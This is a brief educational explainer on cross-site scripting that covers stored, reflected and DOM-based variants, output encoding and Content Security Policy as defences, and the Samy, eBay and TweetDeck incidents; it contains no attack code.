- Stored XSS persists on the server and affects every visitor to the page.
- Reflected XSS executes once via a crafted link or form submission.
- DOM-based XSS manipulates client-side JavaScript without server round-trips.
- Output encoding is the most reliable defense across all XSS variants.
- Content Security Policy (CSP) adds a strong second layer of protection.
What is it and why it matters
Cross-site scripting (XSS) is an injection attack where malicious scripts are delivered to a victim’s browser through a trusted website. Instead of attacking the server directly, XSS targets the trust relationship between a user and the site they’re visiting. When the browser executes the injected script, the attacker can steal cookies and session tokens, capture keystrokes, rewrite page content, or force the victim to perform actions they didn’t intend. XSS remains pervasive because modern web applications routinely handle user-generated content across many input points, and a single oversight in encoding output for the correct HTML context can introduce a vulnerability.
Real world examples
- MySpace Samy worm (2005) — Samy Kamkar exploited a stored XSS vulnerability to create a self-propagating worm that added over one million friends to his MySpace profile in under 24 hours.
- eBay XSS vulnerability (2014) — A reflected XSS flaw on eBay’s product listing pages allowed attackers to inject malicious JavaScript, prompting eBay to recommend users reset passwords.
- TweetDeck XSS worm (2014) — An XSS flaw in Twitter’s TweetDeck client caused a worm that auto-retweeted itself, affecting thousands of users in minutes.